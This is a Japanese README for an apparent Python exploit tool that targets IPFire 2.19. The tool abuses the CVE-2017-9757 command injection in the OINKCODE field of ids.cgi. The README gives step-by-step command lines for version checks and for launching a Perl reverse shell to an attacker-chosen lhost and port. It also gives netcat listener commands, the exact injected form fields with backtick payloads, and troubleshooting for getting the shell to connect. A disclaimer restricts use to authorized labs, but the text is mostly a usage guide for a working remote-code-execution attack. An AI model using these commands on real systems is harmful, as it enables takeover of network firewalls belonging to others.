
このエクスプロイトはCVE-2017-9757に基づいており、0x09ALによるオリジナルのエクスプロイトを基に構築されています。
IPFire 2.19 の ids.cgi ページにおける OINKCODE パラメータを介した認証を必要とするコマンドインジェクション脆弱性の Python 製概念実証 (PoC) です。
認可されたセキュリティテストおよびトレーニングラボのみを対象としています。 この PoC は、自分が所有しているか、明示的なテスト許可を得たシステムに対してのみ実行してください。作者は、このコードによって引き起こされた誤用や損害について一切責任を負いません。
IPFire 2.19 は、/cgi-bin/ids.cgi によって処理される OINKCODE パラメータにおいて OS コマンドインジェクションに対して脆弱です。このパラメータは適切な無害化なしにシェルコマンドに組み込まれるため、認証済みユーザーが IPFire ホスト上でコマンドを実行できます。
この脆弱性は一般に CVE-2017-9757 として識別され、CWE-78: OS コマンドに使用される特殊要素の不適切な無害化('OS コマンドインジェクション') に該当します。
元の公開 PoC は IPFire 2.19 Core Update 110 に対してテストされました。Metasploit モジュールは、IPFire 2.19 の Core Update 110 までのバージョンを、サポートされるチェック範囲内とみなしています。
Exploit-DB の元の Python PoC は、次を使用して検証リクエストを実行します:
OINKCODE = '`id`'
その後、HTTP レスポンスに次の内容が含まれる場合にのみ、ターゲットが脆弱であると判定します:
uid=99(nobody)
この検証方法は信頼性がありません。コマンドは実行される一方で、その出力は CGI によって構築されたシェルコマンドに消費され、クライアントに返される HTML レスポンスには反映されない可能性があります。その結果、サーバーは id の出力を含まない通常の HTTP 200 ページを返すことがあり、偽陰性を引き起こします。
この実装は、Metasploit モジュールで使用される検証ロジックに従います:
/cgi-bin/pakfire.cgi にリクエストを送信します。<= 2.19 かつ Core Update <= 110 を脆弱である可能性があるものとして扱います。OINKCODE フィールドで /cgi-bin/ids.cgi に送信します。200 以外のレスポンスを、拒否されたリクエストまたは認証の問題として扱います。uid=99(nobody) を検査しません。この PoC はまた、Metasploit モジュールがサポートするコマンドペイロードファミリーに合わせて、Perl コマンドシェルペイロードを使用します。HTTP レスポンスが成功しただけではリバースシェルが接続されたことの証明にはならず、リスナーとネットワーク経路も検証する必要があります。
| 機能 | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | 本 PoC |
|---|---|---|---|
| 脆弱なエンドポイント | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| バージョンチェック | なし | GET /cgi-bin/pakfire.cgi | Metasploit スタイルのチェックと同じ |
| 認証 | Basic 認証 | Basic 認証ヘッダー | requests.Session による Basic 認証 |
| 初期検証 | `id` を実行し、レスポンスボディを検索する | バージョンをチェックしてからペイロードを送信する | バージョンをチェックし、HTTP 結果コードを使用する |
| 偽陰性のリスク | 高: uid=99(nobody) が反映されるかどうかに依存 | ボディコンテンツの検証を回避 | ボディコンテンツの検証を回避 |
| リバースシェル | Bash /dev/tcp | Metasploit Unix コマンドペイロード | Perl IO::Socket::INET コマンドシェル |
| TLS 処理 | PoC 内で証明書検証が無効 | デフォルトで SSL が有効 | -k/--insecure の場合にのみ検証が無効 |
| 設定 | ソース内で値を編集 | Metasploit オプション | コマンドライン引数 |
Metasploit モジュールの重要な成功基準は、予期しないレスポンスコードが無効な認証情報または拒否されたリクエストを示すことです。レスポンスボディに注入されたコマンドの出力が含まれている必要はありません。
requestsperl として利用可能)Python の依存関係をインストールします:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
--password が指定されていない場合、パスワードは対話的に要求されます。コマンドにパスワードを直接記述すると、シェルの履歴やプロセスリストを通じて露出する可能性があるため、この方法が推奨されます。
--lhost および --lport として指定したアドレスとポートでリスナーを使用します:
rlwrap nc -lvnp 4444
rlwrap がインストールされていない場合は、次を使用します:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
通常の IPFire 自己署名 HTTPS 証明書では、--insecure/-k が必要です。これは、ラボで証明書の検証が意図的に不可能な場合にのみ使用してください。
ターゲットは完全なベース URL として指定することもできます:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
これは、IPFire のバージョンがすでに独立して確認されている場合にのみ使用してください:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Perl がターゲットのデフォルトの PATH にない場合は、その絶対パスを指定します:
--perl-path /usr/bin/perl
| オプション | デフォルト | 説明 |
|---|---|---|
-t, --target | 必須 | ターゲットのホスト/IP または完全なベース URL |
--scheme | https | ターゲットがホスト/IP のみの場合に使用されるスキーム |
--web-port | 444 | IPFire Web インターフェースのポート |
-u, --username | admin | IPFire ユーザー名 |
-p, --password | プロンプト | パスワード。省略するとエコーなしで入力 |
--lhost | 必須 | IPFire から到達可能なリスナーアドレス |
--lport | 4444 | リスナーポート |
--perl-path | perl | ターゲット上の Perl 実行ファイル |
--timeout | 10 | HTTP タイムアウト(秒) |
-k, --insecure | 無効 | TLS 証明書の検証を無効にする |
--skip-version-check | 無効 | pakfire.cgi のチェックをスキップする |
--check-only | 無効 | バージョンチェックのみを実行する |
ids.cgi からの HTTP 200これは、Metasploit モジュールで使用されるものと同じ実用的な基準に従って、HTTP リクエストが CGI によって受け入れられたことを意味します。通常の HTML レスポンスが返されることが期待され、これは脆弱性チェックが失敗したことの証明にはなりません。
シェルがリスナーに届いているか確認してください。シェルが届かない場合は、コールバックアドレス、ルーティング、ファイアウォールの送信 (egress) ルール、Perl の利用可能性、選択したポートを調査してください。
HTTP 401 または HTTP 403リクエストが許可されていません。ユーザー名、パスワード、ターゲット URL、ポート、およびアカウントが IPFire Web インターフェースにアクセスできるかどうかを確認してください。
HTTP 404ターゲット URL または CGI パスが正しくない可能性があります。あるいは、サービスが想定される IPFire Web インターフェースではありません。
スクリプトは pakfire.cgi 内で期待されるバージョン文字列を見つけられませんでした。--skip-version-check を使用する前に、ターゲットを手動で確認してください。
注入されたコマンドは、コールバックを試みている間、CGI リクエストを開いたままにする可能性があります。これはシェルの確定的な証拠ではなく、リスナーを確認すべき兆候として扱ってください。
スクリプトは HTTP Basic 認証を使用し、次のフォームフィールドを ids.cgi に送信します:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
このコマンドはバッククォートで囲まれます。これは、脆弱なアプリケーションが OINKCODE の値をシェルコマンドに渡すためです。正確なリクエストの挙動は、ターゲットのバージョンとそのローカル設定によって異なります。
200 レスポンスはリクエストが受け入れられたことを確認するものであり、リバースシェルがリスナーに到達したことを確認するものではありません。このプロジェクトは、0x09AL による公開研究および概念実証と、Metasploit コミュニティによって維持されている Metasploit モジュールに基づく教育用の Python 実装です。IPFire、Exploit-DB、または Rapid7 とは提携関係になく、その承認も受けていません。